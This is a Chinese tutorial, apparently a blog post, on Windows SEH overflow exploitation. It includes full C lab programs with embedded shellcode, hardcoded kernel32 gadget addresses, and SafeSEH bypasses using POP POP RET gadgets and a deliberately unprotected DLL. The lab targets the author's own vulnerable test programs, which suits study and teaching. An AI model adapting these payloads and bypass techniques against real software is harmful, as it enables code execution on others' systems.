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Windows下漏洞利用——S.E.H深入分析

Windows下漏洞利用——S.E.H深入分析

 

引言

程序异常处理机制,简称S.E.H. 是Windwos下缓冲区溢出漏洞的一大特色,也是绕过StackCookie的一大杀器,在当年微软WinXP SP2更新包中紧急推出SafeSEH足以见其威力。作为很多Windows exploit利用的基础技术,SEH的研究对于Win下漏洞研究有着举足轻重的作用。

本文将从最基础的SEH覆盖,到SafeSEH保护机制的绕过,再到最后绕过SafeSEH结合DEP等保护机制,对SEH的利用进行由浅入深的的研究。

 

第一章 S.E.H结构分析

在我们开始调试SEH结构之前,需要做好一些准备工作。

1.1 环境配置

本次实验的主要环境是Windows XP /Windows Vista

编译工具为VC++6.0/VS 2010

两个系统下都支持/SafeSEH选项,但是WinXp下没有开启全局DEP和SafeSEH,大部分模块都没有开启保护,所以研究漏洞更容易,我们会从XP入手,最后尝试在Vista下也实现漏洞利用。

1.1.1调试工具

安装Windbg/ImmunityDebugger作为调试工具

Windbg是Windows 的经典调试工具,采用命令行操作,功能十分强大,甚至可以调试Windows内核,目前也已经支持Mona插件。

ImmunityDebugger操作非常友好,只需要知道几个快捷键就能调试程序,因为是由python编写,相比OD对于python扩展更加友好,原生支持Mona插件。

Windbg加载符号表

0:040> .sympath SRV*c:Symbols*http://msdl.microsoft.com/download/symbols 0:040> .reload

如果是Windows XP因为微软已经放弃了支持,只能在网络上找别人下好的符号表安装。

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1.1.2 Mona插件

Mona插件是一个非常强大的插件,能大大加快漏洞利用程序的编写速度,特别是其中ROP字段的检索简直是WIN下漏洞利用的福音。

我们可以在github上下载mona

Immunity Debugger下安装

官方描述的安装方法

drop mona.py into the ‘PyCommands’ folder (inside the Immunity Debugger application folder).

install Python 2.7.14 (or a higher 2.7.xx version) into c:python27, thus overwriting the version that was bundled with Immunity. This is needed to avoid TLS issues when trying to update mona.

将下载好的mona.py放进 PyCommands目录

将Python2.7.14(或更高版本的2.7.xx)安装到c:python27中,从而覆盖Immunity Debugger 与绑定的版本(python 2.5)。在尝试更新mona时,需要避免tls问题。

WinDBG下安装

需要下载mona.py、windbglib.py 和pykd

可以参考https://github.com/corelan/windbglib上面的安装方法。

原文引用:

Windows 7 or 10, 64bit

Download pykd.zip from https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip and save it to a temporary location on your computer

Check the properties of the file and “Unblock” the file if necessary.

Extract the archive. You should get 2 files: pykd.pyd and vcredist_x86.exe

Run vcredist_x86.exe with administrator privileges and accept the default values.

Copy pykd.pyd to C:Program Files (x86)Windows Kits8.0Debuggersx86winext or C:Program Files (x86)Windows Kits10Debuggersx86winext

Open a command prompt with administrator privileges and run the following commands:

1.寻找代码碎片

命令 !py mona findwild -s “执行” -m 模块名

例如!py mona findwild -s "pop r32" #寻找pop 任意寄存器 的gadget

2.打印模块信息

!py mona module

可以查看加载各个模块开启的安全机制

1.2 S.E.H分析

1.2.1 结构化异常处理机制SEH

S.E.H的全名为异常处理结构体(Structure Exception Handler)是Windows特有的一种异常机制。每一个S.E.H包含两个DWORD指针:Next S.E.H Recoder(后文简称next recoder)和Exception Handler(后文简称SE handler)

S.E.H需要通过try/catch之类的异常处理函数生成,同时S.E.H结构是存放在栈中的(仅32位环境),这也给Win程序的安全留下的隐患。

1.2.2静态分析

程序主要由_try{}_catch{}结构构成,在SEH_test()函数中生成一个S.E.H链。

通过除零来产生异常,触发S.E.H结构处理。

案例源码如下

//SEH.cpp

#include "stdafx.h"

#include<stdio.h>;

#include<windows.h>



char shellcode[]="x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";



void MyExceptionhandler()

{

    printf("got an exception ,press Enter to kill the process!n");

    getchar();

    ExitProcess(1);

}



void SEH_test()

{

    int zero=0;

    char buf[200];

    __asm int 0x3;

    __try{

        printf("In the SEH_test!n");

        strcpy(buf,shellcode);

        zero=4/zero;

    }

    __except(MyExceptionhandler()){};

}



int main(int argc, char* argv[])

{

    SEH_test();



    return 0;

}

使用IDA分析生成的HEX程序

注:这里的关键的几个函数,在IDA中我将名字修改成了与源码中的函数名同步,需要注意的是IDA的逆向是无法恢复原函数名的。

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主函数和源码相同,只有一个跳转到SEH_test函数操作。

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1.2.3 S.E.H结构入栈分析

通过push offset __except_handler3将处理结构异常函数的地址入栈

通过 mov eax, large fs:0将上一个S.E.H链的地址入栈

最后将自己的S.E.H链接放入fs:[0]作为链首。

.text:004010F0 ; __unwind { // __except_handler3

.text:004010F0                 push    ebp

.text:004010F1                 mov     ebp, esp

.text:004010F3                 push    0FFFFFFFFh

.text:004010F5                 push    offset stru_423060

**.text:004010FA                push    offset __except_handler3** **//SE handler入栈**

**.text:004010FF                 mov     eax, large fs:0** **//将上一个S.E.H链入栈**

**.text:00401105                 push    eax**

.text:00401106                 mov     large fs:0, esp //将这个S.E.H链头放入fs:[0],作为S.E.H链表的链首

.text:0040110D                 add     esp, 0FFFFFEECh

.text:00401113                 push    ebx

.text:00401114                 push    esi

.text:00401115                 push    edi

.text:00401116                 mov     [ebp+ms_exc.old_esp], esp

.text:00401119                 lea     edi, [ebp+var_124]

.text:0040111F                 mov     ecx, 43h

.text:00401124                 mov     eax, 0CCCCCCCCh

.text:00401129                 rep stosd

.text:0040112B                 mov     [ebp+var_1C], 0

.text:00401132                 int     3               ; Trap to Debugger

.text:00401133 ;   __try { // __except at loc_401176

.text:00401133                 mov     [ebp+ms_exc.registration.TryLevel], 0

.text:0040113A                 push    offset aInTheSehTest ; "In the SEH_test!n"

.text:0040113F                 call    _printf

.text:00401144                 add     esp, 4

.text:00401147                 push    offset byte_428310 ; char *

.text:0040114C                 lea     eax, [ebp+var_E4]

.text:00401152                 push    eax             ; char *

.text:00401153                 call    _strcpy

.text:00401158                 add     esp, 8

.text:0040115B                 mov     eax, 4

.text:00401160                 cdq

.text:00401161                 idiv    [ebp+var_1C]

.text:00401164                 mov     [ebp+var_1C], eax

.text:00401164 ;   } // starts at 401133

.text:00401167                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFFh

.text:0040116E                 jmp     short loc_401180

.text:00401170 ; ---------------------------------------------------------------------------

.text:00401170

.text:00401170 loc_401170:                             ; DATA XREF: .rdata:stru_423060↓o

.text:00401170 ;   __except filter // owned by 401133

.text:00401170                 call    j_MyExceptionhandler

.text:00401175 ; ---------------------------------------------------------------------------

.text:00401175                 retn

在OD中查看S.E.H结构

在INT 0x3断点,可以发现SEH链接的结构已经被OD添加了注释。

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Next指针存放在0x12FF1C,指向0x12FFB0地址空间。

Handler句柄则指向0x4016B0

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1.2.4 S.E.H handler结构分析

SE handler的结构体名为EXCEPTION_DISPOSITION

MSDN描述的结构如下

EXCEPTION_DISPOSITION

__cdecl _except_handler(

        struct _EXCEPTION_RECORD *ExceptionRecord,

        void * EstablisherFrame,

        struct _CONTEXT *ContextRecord,

        void * DispatcherContext

);

* EstablisherFrame这个存放便是我们S.E.H结构中Next handler的地址。

经过实际调试,我们发现。当程序发生异常,跳转到SE handler指向的地址

EXCEPTION_DISPOSITION结构会入栈,顺序为 DispatcherContext ->ContextRecord -> EstablisherFrame->ExceptionRecord

所以当程序跳转进入S.E.H handler EstablisherFrame位于ESP+8的位置。

程序将这个结构入栈的原因大概是方便在执行完 handler函数之后,如果程序依旧不能解决问题,会进入下一个S.E.H结构,所以会将Next Recrod的地址入栈帧。

调试截图

覆盖SE handler为0x41414141

覆盖Next record为0x42424242

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程序处理异常时,EIP跳转到了0x41414141(SE handler),而此时ESP+8的位置存储的0x17EE4C(EstablisherFrame)指针指向的数据正是0x42424242(Next record)

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通过调试,不难发现,这个特性同样容易让攻击者利用,一旦进入SE handler,调用POP POP RET,便能让程序跳转到EstablisherFrame指向的内容,也就是同样可控的Next Record地址。

当然这点在绕过SafeSEH中才会用到,在之后的章节中会进行解析,详见第二章2.3节。

 

第二章 S.E.H的利用

2.1 Windows XP SP2之前的利用

2.1.1 S.E.H结构覆盖

首先,让我们重新观察这张S.E.H的简化图,有两个要点引起我们的注意。

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首先S.E.H是在栈中的也就说有可能被我们写入的数据覆盖。其次Handler指向的是我们的异常处理函数,会造成EIP的跳转(虽然Handler并不直接指向我们的异常处理函数,而是经过多次跳转)。

所以我们就有了最基础的思路—通过覆盖SE handler,然后触发异常(除0),使得程序跳转到我们的shellcode,和经典栈溢出如出一辙,岂不美哉。

2.1.2测试案例

在OD中在View中可以直接查看S.E.H chains(S.E.H链),可以看到我们的程序的S.E.H链存在三个结点。我们要覆盖的是位于0x12ff1c的S.E.H结构。

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生成pattern用例

0xD8*”A”+EIP

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从buf首地址到S.E.H结构中间存在0xD4(212)字节的空间,将我们的shellcode地址设置在212字节中,多余的空间用0x90填充。我们的目标是覆盖SE handler(距离首地址0xD8个字节)为我们的shellcode地址/buf的首地址。

调试方面的问题

覆盖S.E.H成功。通过OD的S.E.H链查看器发现链已经成功被覆盖为了Shellocde的首地址。

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程序调试卡在IDIV处。提示整数除以0异常,使用Shift+F9继续运行。(当然啦,可以在Debug Options中选择忽略这个异常,OD就不会中断了)

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但是覆盖SE handler为栈地址,提示应用程序无法处理异常。无论怎么调试都无法成功。

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后来发现覆盖0x41414141甚至都可以成功让EIP跳转,但是偏偏栈地址不行。Windows SP0应该是没有开启SafeSEH的,所以这里是这次实验的一个疑点。一般来说,Shellocde已经被执行了。

甚至可以修改覆盖Handler使得程序跳转到printf函数,重新输出一次In the SEH_test!

案例代码如下

#include "stdafx.h"

#include<stdio.h>

#include<windows.h>



char shellcode[]=

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90"

"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"

"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"

"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"

"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"

"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"

"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"

"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"

"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"

"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"

"x53x68x61x69x6Ex65x68x6Dx69x67x72x8BxC4x53x50x50"

"x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90"

"x3Cx11x40x00"; //跳转到0x40113C



void MyExceptionhandler()

{

​    printf("got an exception ,press Enter to kill the process!n");

​    getchar();

​    ExitProcess(1);

}



void SEH_test()

{

​    char buf[200];

​    int zero=0;

​    

​    //__asm int 0x3;

​    __try{

​        printf("In the S.E.H_test!n");

​        strcpy(buf,shellcode);

​        zero=4/zero;

​    }

​    __except(MyExceptionhandler()){};

}



int main(int argc, char* argv[])

{

​    S.E.H_test();



​    return 0;

}

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在这里提供一种思路—使用“JMP/CALL寄存器”跳转

如何寻找指令碎片

在OD调试界面右键-选择模块-kernel32,右键-搜索所有指令(Ctrl+F)

因为我们的编写的程序体量比较小,很多代码碎片都搜索不到。所以我们直接在kernel32中找,因为WinXP下并没有开启ASLR,所以kernel的基地址是不会变化的。

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重新布置Shellcode,— 一种错误的布置

将CALL EBP指令布置在SE handler,将shellcode布置在SE handler+8的位置,因为EBP正好指向这个位置。所以如果触发异常,程序就会执行CALL EBP,使得程序跳转执行shellcode。

用例pattern为0xD8*”x90”+Call_esp+8*”x90”+shellcode

这种情况,没有考虑在触发SEH时候,栈帧也会变化,导致失效。

虽然我们没有成功执行shellcode,不过我们还是可以通过覆盖SE handler成功修改程序执行流程。

经过上面的调试,我们已经知道了覆盖SE handler使得程序跳转的思路。并且知道了上古windows下是如何利用S.E.H覆盖的。虽然没有成功执行shellcode,不过成功使得程序的流程做出了改变。

(至于具体原因,可能是我的Windows XP版本的问题,虽然没有写是SP几的版本,但是在2019年要找到一个纯净版的windows xp的确非常困难)

到目前,这种S.E.H的利用方法,在目前的系统中已经失效了。

在WindowsXP SP2中引入了SafeSEH,对传统的S.E.H覆盖进行了检查,导致这种利用手法的失效。

2.2 Windows XP SP2后的SEH [SafeSEH]

SafeSEH,也就是俗称的软件DEP。是微软在Windows XP SP2引入的一个S.E.H校验机制。其原理非常好理解。就是对S.E.H行为做检测,主要有如下两个检测

(1)检查异常处理链是否位于当前程序中,如果不在当前栈中,程序将中止异常处理函数的调用。

(2)检查异常处理函数指针是否指向当前程序的栈中。

尤其是第二个检测,几乎就是针对我们覆盖SE handler跳转到栈中shellcode的这种利用手法。不过绕过方式也有很多种,会在下文进行介绍。

SafeSEH可以通过/SafeSEH链接选项,让程序具有SafeSEH功能。

VS中 项目-属性-链接器-命令行 输入/SafeSEH即可

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问:如何判断一个程序开启SafeSEH

答:可以使用VS自带的工具dumpbin,在Visual Stdio 2010-Visual Studio Tools-Visual Stdio兼容工具命令中运行

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使用dumpbin /loadconfig 文件路径/文件名 就可以获取PE文件当前是否开启S.E.H

当然这个程序让我想起了Linux下玩PWN经常用的工具 objdump和readelf,功能非常类似,需要的只是时间去适应。

当然还有更简单的方法,使用mona插件的modules功能,可以非常快捷地查询软件加载的各个分别开启了哪些保护,就像gdb的peda插件一样方便。(注:下图与本次实验无关)

执行!py mona modules

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SafeSEH未开启的情况

使用dumpbin分析,没有提示存在SafeSEH链接

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添加了 /SafeSEH 选项之后编译的文件

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SafeSEH最终的行为是防止栈执行,所以被称为是软件DEP,但是没有硬件DEP,shellcode还是又可能被执行。

所以在最后一个实验,我们会将硬件DEP也开启,SafeSEH结合DEP,也会大大提高利用难度。我们将会学习使用ROP来绕过软件和硬件的DEP。

当然首先要学习的是如何绕过SafeSEH。

2.3 SafeSEH的绕过(基础)

2.3.1 SafeSEH绕过原理浅析

通过覆盖NEXT指针和SE handler,使用未开启SafeSEH模块的Gadgets绕过SafeSEH。

PS:因为WindowsXP的kernel模块并没有开启SafeSEH,所以我们可以直接利用Kernel里的gadget

我们需要寻找Gadget的格式为

POP Reg32

POP Reg32

RET

我们要覆盖SE handler使得程序执行这段gadget,最终跳转到shellcode。

2.3.1向后跳转0x6字节的方案

如下布置栈帧,注意JMP SHORT 0x6是通过机器码EB 06 90 90(90为NOPs不影响程序执行)实现。

Before OverFlow[        ][ NEXT RECORD ][ SE Handler  ][ ]

After OverFlow  [  Nop’s ][ JMP SHORT 0x6 ][POP POP RET][ SHELLCODE ]

覆盖SE handler指向一段POP POP RET的Gadgets,当发生程序错误,调用S.E.H会让程序跳转到POP POP RET指令的位置,当执行到RET的时候,会发现此时ESP正好指向JMP SHORT 0x6,程序执行这个代码,使得EIP向后调转0x6个字节,跳入我们埋在缓冲区后方的shellcode,成功执行代码。

问:那么POP POP RET是如何发挥作用的?

答:在《Exploit编写教程》中这样描述—

在于S.E.H的Exploit中pop pop ret指令串到底是如何起作用的? 当异常发生时,异常分发器创建自己的栈帧。它会把EH Handler成员压入新创的栈帧中(作为函数起始的一部分)在EH结构中有一个域是EstablisherFrame。

这个域指向异常注册记录 (next SEH)的地址并被压入栈中,当一个例程被调用的时候被压入的这个值都是位于 ESP+8的地方。

现在如果我们用pop pop ret串的地址覆盖SE Handler: -第一个pop将弹出栈顶的4 bytes -接下来的pop继续从栈中弹出4bytes -最后的ret将把此时ESP所指栈顶中的值(next SEH的地址)放到EIP中。

事实上,next SEH域可以认为是shellcode的第一部分。

在后文中也会给出调试的过程和结果,读者还可以结合下面这篇文章理解消化。

如果还没有理解,可以回到第一章,去看一下S.E.H分析中关于EXCEPTION_DISPOSITION

结构的介绍,相信你一定会有收获。

2.3.2 绕过SafeSEH实战

编译环境

WINDOWS XP HOME Editon VC++6.0

寻找Gadget

可以通过Mona插件查找格式为POP POP RET格式的代码片段。//前文已经介绍

但是通过ImmunityDebbger自身的搜索功能也是可以完成搜索的。右击代码段-搜索全部模块的命令序列 就可以进行搜索。输入 POP 某个寄存器名 RET即可找到很多匹配的字符串,寻找一个符合条件的。(没有0x00字节,没有操作敏感寄存器等)

我们找到Kernel32.DLL模块中的一段代码,地址为0x77F54F7B,WINXP没有ASLR的情况下,Kernel的基地址不发生变化,所以直接硬编码就可以用了。

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调试程序

F9运行程序,程序停留在DIV指令处。调试器因为发现除0错误,所以自己断下了。

此时如果运行Shirft+F9(如果要看具体细节将F9换成F7/8),就可以继续运行.

此时我们发现程序跳转到了0x77F54F7B处了。

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此时的栈地址和我们之前填充的栈的距离已经很远了,但是观察此时的ESP+8的位置(0x12FA40),发现这个位置上居然指向0x12FF1C,也就是我们的NEXT RECORD的地址。

各位读者都知道,我们的NEXT RECORD存放的字节码为EB 06 90 90。也就是JMP SHORT 0x6. (调试器将其翻译为跳转到0x12FF24,但是实际上JMP SHORT是相对跳转,而不是绝对地址跳转)

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此时执行POP POP RET,程序就成功跳转到了JMP SHORT 0x6,然后再次跳转,进入了我们的SHELLCODE,成功弹出了Migraine专属的弹窗。

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源码如下,主要参考的是《0Day漏洞分析》的SafeSEH一章。

编译环境

WINDOWS XP HOME Editon VC++6.0

#include "stdafx.h"

#include<stdio.h>

#include<windows.h>



char shellcode[]=

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"xEBx06x90x90"  // Point to Next SEH record

"x7Bx4FxF5x77" //SE handler

//"x70xfex12x00"//SE handler

"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"

"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"

"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"

"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"

"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"

"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"

"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"

"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"

"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"

"x53x68x61x69x6Ex65x68x6Dx69x67x72x8BxC4x53x50x50"

"x53xFFx57xFCx53xFFx57xF8";



void MyExceptionhandler()

{

​    printf("got an exception ,press Enter to kill the process!n");

​    getchar();

​    ExitProcess(1);

}



void SEH_test()

{

​    char buf[200];

​    int zero=0;

​    

​    //__asm int 0x3;

​    __try{

​        printf("In the SEH_test!n");

​        strcpy(buf,shellcode);

​        zero=4/zero;

​    }

​    __except(MyExceptionhandler()){};

}



int main(int argc, char* argv[])

{

​    SEH_test();



​    return 0;

}

希望能构建更短的payload,尝试向前跳转方案(思路)

#include "stdafx.h"

#include<stdio.h>

#include<windows.h>



char shellcode[]=

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90"

"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"

"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"

"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"

"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"

"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"

"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"

"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"

"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"

"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"

"x53x68x61x69x6Ex65x68x6Dx69x67x72x8BxC4x53x50x50"

"x53xFFx57xFCx53xFFx57xF8x90x90x90x90"

"xE9x4FxFFxFF"  // Point to Next SEH record

"x7Bx4FxF5x77"; //SE handler



void MyExceptionhandler()

{

​    printf("got an exception ,press Enter to kill the process!n");

​    getchar();

​    ExitProcess(1);

}



void SEH_test()

{

​    char buf[200];

​    int zero=0;

​    

​    //__asm int 0x3;

​    __try{

​        printf("In the SEH_test!n");

​        strcpy(buf,shellcode);

​        zero=4/zero;

​    }

​    __except(MyExceptionhandler()){};

}



int main(int argc, char* argv[])

{

​    SEH_test();



​    return 0;

}

这个方案的局限性。如果SHELLCODE长度过长,就会发生这段代码现在的状况。

从12FF1C向前跳转到12FE70距离大于了JMP SHORT到最大距离128字节。所以我们无法进行短跳转,如果使用唱跳转需要多一个字节的空间,也就需要从NEXT RECORD多一个字节,覆盖到SE handler的空间。如下图所示。

Windows下漏洞利用——S.E.H深入分析

当然,如果对shellcode进行精心设计,让向前跳转,从shellcode的某个位置跳转到shellcode的头部进行执行。但是这样,Exploit的稳定性就未知了。所以还是建议选择向后跳转,除非shellcode长度非常短。

2.4绕过重重保护实现的SEH利用

在开启全面硬件 DEP的Windows Vista下绕过SafeSEH

编译环境

WINDOWS VISTA(使用x64系统不影响实验,只要编译的PE文件是x86的即可)

VS2010

2.4.1安全选项设置

Windows Vista关闭ASLR

虽然绕过ASLR也是一个很有趣的过程,不过从前文的S.E.H和SafeSEH直接到DEP和ASLR的双重加持,跨度未免太大,所以决定暂时降低一些难度。

修改注册表的方式关闭比较麻烦,所以可以在VS编译的时候将“配置属性-链接器-高级-随机基址”的值修改为否即可

开启硬件DEP

和ASLR一样,在链接器中打开数据执行保护DEP。

开启GS保护

预防经典栈溢出的Stack Cookie

Windows下漏洞利用——S.E.H深入分析

Windows Vista系统为系统模块全面开启了SafeSEH和DEP

全面开启SafeSEH可以防止程序跳转到开启SafeSEH到模块,也就是说我们无法通过控制SE handler来跳转到任何开启SafeSEH的模块。导致我们无法使用kernel32.dll模块的pop pop ret实现绕过SafeSEH。在Win XP下还可以使用kernel下到代码段进行ROP,但是Windows Vista让利用系统Dll进行ROP失去了可能性。

而DEP的开启,则是当我们通过pop pop ret直接跳转执行shellcode的时候,让栈内的shellcode无法执行。

两种安全措施的结合效果达到了1+1=3的效果,让程序固若金汤。

2.4.2通过未开启SafeSEH的DLL绕过

Windows Vista大部分模块采用SafeSEH,导致通过覆盖S.E.H跳转的代码无家可归,因为都开启了SafeSEH。所以我们需要为漏洞利用创造条件,我们这里建立一个没有开启SafeSEH的DLL。

在编译选项中关闭SafeSEH(VS 2010只需要删除/SafeSEH 选项即可,默认是关闭的)

Windows下漏洞利用——S.E.H深入分析

Test.cpp

#include "stdafx.h"



void Vuln()

{

//存放可利用的gadgets

__asm{

pop ecx

pop ebx

ret

}

}

生成Test.dll



漏洞程序代码

注意要把Test.dll放到和该程序的同一个目录下

#include "stdafx.h"

#include<stdio.h>

#include<windows.h>



char shellcode[]=””;

int MyExceptionhandler()

{

printf("got an exception ,press Enter to kill the process!n");

getchar();

ExitProcess(1);

return 0;

}



void SEH_test()

{

char buf[200];

int zero=0;

//__asm int 0x3;

__try{

printf("In the SEH_test!n");

strcpy(buf,shellcode);

zero=4/zero;

}

__except(MyExceptionhandler()){};

}



int main(int argc, char* argv[])

{

LoadLibrary(_T("Test.dll")); //手动加载DLL

SEH_test();

return 0;

}

寻找gadget

通过!py mona module/或者OD的SafeSEH/OllyFindAddr插件分析发现 Test.dll没有开启SafeSEH

Windows下漏洞利用——S.E.H深入分析

Windows下漏洞利用——S.E.H深入分析

搜索Gadget

!py mona.py findwild -s pop reg32# pop reg32 # ret -m “Test.dll”

我们在Test.dll模块中我们埋藏了可用gadget

所以很容易地找到符合的地址为0x6DAB13CE

同时通过!py mona.py mod 发现Test.dll模块没有开启SafeSEH

Windows下漏洞利用——S.E.H深入分析

接下来就和上一节的内容类似了,使用POP POP RET结合JMP SHORT 跳转进入shellcode。

程序实例:

#include "stdafx.h"

#include<stdio.h>

#include<windows.h>





char shellcode[]=

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

"x90x90x90x90x90x90x90x90"

"xEBx06x90x90"  // Point to Next SEH record

"xCEx13xAEx6D" //SE handler 0x6DAE13CE

//"x70xfex12x00"//SE handler

"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"

"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"

"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"

"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"

"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"

"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"

"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"

"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"

"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"

"x53x68x61x69x6Ex65x68x6Dx69x67x72x8BxC4x53x50x50"

"x53xFFx57xFCx53xFFx57xF8";



int MyExceptionhandler()

{

printf("got an exception ,press Enter to kill the process!n");

getchar();

ExitProcess(1);

return 0;

}



void SEH_test()

{

char buf[200];

int zero=0;

//__asm int 0x3;

__try{

printf("In the SEH_test!n");

strcpy(buf,shellcode);

zero=4/zero;

}

__except(MyExceptionhandler()){};

}



int main(int argc, char* argv[])

{

LoadLibrary(_T("Test.dll"));

SEH_test();

return 0;

}

如果程序本身的DEP是关闭的,那么效果应该和我这里是一样的。

当然,如果地址是在调试模式下确定的,那么也只有debug时候才能成功利用,主要原因是调试状态和实际状态的内存机制可能存在差异。解决方案就是使用getchar()/int 0x3中断(建议前者,因为每次编译DLL的载入基地址可能都会变化,即使没有开启ASLR),然后再Attach来调试。

Windows下漏洞利用——S.E.H深入分析

2.4.3扩展思路:结合ROP绕过DEP和SafeSEH的个人理解

开启DEP

硬件 DEP 利用了在 DEP 兼容的 CPU 的 NX(“无执行页保护”,AMD 规格)或者 XD(“不 能执行”,intel 规格)位,并且将特定部分的内存(只能包含数据,比如说默认堆,栈,内 存池)标记为不可执行。

当尝试在一个 DEP 保护的数据页执行代码时,将会发生访问拒绝

(STATUS_ACCESS_VIOLATIO(N 0xc0000005))

也就是说我们放在栈帧中的shellcode将不会被成功执行

获取WinExec的函数的地址,可以算出WinExec相对kernel32的偏移地址为0x8BE0D

在没有开启ASLR的时候,是可以直接跳转的。只需要先在栈中放好参数即可。

Windows下漏洞利用——S.E.H深入分析

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但是通过覆盖SEH是无法直接跳转到WinExec函数的,因为Kernel32也开了SafeSEH,加上DEP的开启,导致我们POP POP RET方案也失效了。不过我们依旧可以通过未开启SafeSEH/DEP的模块实现绕过。

但目前通用的方案就是DEP绕过方案。但是在开启SafeSEH之后,通过SEH覆盖的即使使用ROP绕过难度比较大。这部分在之后的学习中会进一步探讨。

 

总结

S.E.H结构的覆盖是Win下的一个特色,学习这部分知识非常有意思,因为在Linux下的溢出中从来没有接触过,听周围做PWN的朋友说最近也是出了不少Win下的PWN,很多都和S.E.H机制有所关联。

最后感谢二进制安全的前辈们给我的指引,作者水平有限,如有错误欢迎评论区指正。

 

参考文献

[1]wwzzww.windows-SEH详解[DB/OL].

https://bbs.pediy.com/thread-249592.htm, 2019-2-22

[2] 冷月宫主.Win32结构化异常处理(SEH)——异常处理程序(try/except)[DB/OL]

https://blog.csdn.net/e_wsq/article/details/17008097 ,2013-11-28

[3]护花使者cxy.Windows XP sp3 系统安装 Windbg 符号文件 Symbols 时微软失去支持的解决方案[DB/OL].

https://blog.csdn.net/qq_38924942/article/details/87801649,2019-02-20

[4]tang3,看教程学溢出之SEH利用[DB/OL].http://blog.nsfocus.net/tutorial-overflow/,2017

